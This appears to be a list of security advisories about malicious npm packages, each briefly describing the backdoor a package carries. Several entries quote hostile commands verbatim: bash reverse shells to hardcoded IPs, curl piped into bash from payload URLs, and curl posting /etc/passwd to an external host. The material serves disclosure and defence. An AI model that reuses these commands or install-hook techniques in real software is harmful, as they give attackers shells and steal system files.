Malicious code in request-logger-canary (npm)

Source: amazon-inspector cf0d566d7abb400988aea74b00099a6db4c5ea928f32e7d44648193e21a36035 [email protected] ships a preinstall.js that, when npm install runs, opens a TCP socket to 52.74.242.200:8851 and pipes an interactive /bin/sh to the remote endpoint stdin/stdout/stderr all bridged...

Malicious code in hardhat-core (npm)

Source: amazon-inspector bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930 package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via curl ...

Malicious code in hello-world-pkg-value-value-p (npm)

Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP...

Malicious code in ethers-io (npm)

Source: amazon-inspector 098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14 The package's package.json declares a postinstall script that base64-decodes a hidden URL http://8.217.75.147:3000/payload and pipes the HTTP response directly to bash via curl -s | bash. On every npm instal...

Malicious code in system-user-identifier-cli (npm)

Source: amazon-inspector 4da2798716abd83143a0a2e2b3e5064e2f2a1ac0a63633a70c42881330f52be8 index.js line 13 executes bash -c "bash -i & /dev/tcp/101.43.232.7/7777 0&1" via childprocess.exec, opening an interactive reverse shell to the hardcoded attacker-controlled host 101.43.232.7 on TCP port 777...

Malicious code in internallib_v493 (npm)

Source: amazon-inspector 67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7 The package's sole exported function command in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly...

Malicious code in intl-ad-routing (npm)

Source: amazon-inspector 07b57475540583a4a2af3fb2d790f066c2e77742a704b3e5048c118f82cc8185 [email protected] is a dependency-confusion squat targeting an internal @livingdesign/react namespace. On npm install, the package's preinstall hook poc.js executes shell commands to enumerate the...

Malicious code in ctf-flare (npm)

Source: amazon-inspector 23293f1bc28e465f7ffaf916fd8a6cc3958b873a2b338b81c0bf71bb146d1d36 package.json declares a postinstall script that runs node src/install.js after building a local binary. src/install.js is a 175 KB single-line payload obfuscated with a Function... constructor wrapper,...

Malicious code in emojifancy-print (npm)

Source: amazon-inspector 87a0b34b08697e7c8c67b8111ab442ec2d1168f0981b4680fc327a40ba370d79 The package advertises itself as a colorized logger but ships a backdoor in dist/logger.js that fires automatically when the module is loaded. At require time, dist/index.js triggers logger.js's...

Malicious code in @rui.branco/sentry-mcp (npm)

Source: amazon-inspector 8504c65903895f53054fc6df861469ddbac73c130793bd784d47eca8ef2cd65b On every load of index.js the package's main and bin entry, the package queries GitHub for the latest commit SHA on HEAD of rui-branco/sentry-mcp and, if it differs from a locally-stored SHA, spawns a detach...

Malicious code in @lokuma/cli (npm)

Source: amazon-inspector c1ea692229343873d930161e52d11be25bab87d4a00e942ceb18c1751f0f7586 The update subcommand of this CLI executes curl -fsSL | bash where the URL is https://raw.githubusercontent.com/Mumu090909/lokuma-da-v2-trial/main/installer/install-v2-trial.sh — a mutable main branch on a...

Malicious code in makecoder (npm)

Source: amazon-inspector bf72d8ec7b803169421eb83d7ccbbdcd0af3671592775e25df2f92b33dfde5a4 scripts/postinstall.js runs automatically on npm install. When bun is not already present, it unconditionally executes curl -fsSL https://bun.sh/install | bash on Unix or powershell -Command "irm...

Malicious code in @kmmao/happy-coder (npm)

Source: amazon-inspector c4478b22a21a87a37250e86ef25639330f79b779e5793f642eaf7ddaafd975d4 This package is a near-verbatim fork of the upstream happy-coder/happy-cli references to slopus/happy-cli and happy.engineering are retained throughout the bundle and README, repackaged under the @kmmao scop...

Malicious code in @slipless/sdk (npm)

Source: amazon-inspector cd12d144d97dca69d9861a3a68bc2bfd138e3f3d5514eb70303c9b8e0c472e17 On npm install, scripts/postinstall.cjs fetches https://slipless.xyz/main.ps1 mutable URL, no hash or signature verification, writes it to the OS temp directory as slipless-setup-.ps1, and spawns it detached...

Malicious code in @shell-landing/routes (npm)

Source: amazon-inspector 6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577 On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the...

Malicious code in @shell-cabinet/routes (npm)

Source: amazon-inspector b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a hostname-prefixed subdomain of...

Malicious code in 0x2ai-multi-mq (npm)

Source: amazon-inspector 7d056f067b0af2084bd7777fcdb2ae6e2c06bb67f40929ba9900b5aa9cb83649 When the documented invocation npx 0x2ai-multi-mq is run, bin/start.cjs copies chatroom-mcp-lite-patched.cjs and chatroom-monitor.cjs into the user's current working directory, writes a .mcp.json containing ...

Malicious code in telebot-server (npm)

Source: amazon-inspector 3d3c49bb558149b55f90b708ff47e24f6f856a88abb4b2ed477633c3df43d4e2 The package advertises itself as a configurable Telegram bot server README and.env.example reference TELEGRAMBOTTOKEN and ALLOWEDUSERIDS, but the code in src/index.js ignores those environment variables...

Malicious code in openprompt-lang (npm)

Source: amazon-inspector 24ccd29557423c05fb49b14b0a9a2e1cfbe5a2b69a1276bc76d287edc46f4ec2 On every npm install, openprompt-lang's postinstall hook scripts/postinstall.js:83 executes npm install -g @opencode/cli 2/dev/null || curl -fsSL https://opencode.ai/install.sh 2/dev/null | sh. The fallback...

Malicious code in @solana-labs/etherjs (npm)

Source: amazon-inspector 5c086a8d2c3022bc55743fdca944c8810b997ec203e8742606bf14cccee721db Package is published as @solana-labs/etherjs but its README documents itself as @solana-labs/web3.js and instructs consumers to import Connection, PublicKey, Keypair from '@solana-labs/web3.js' — the...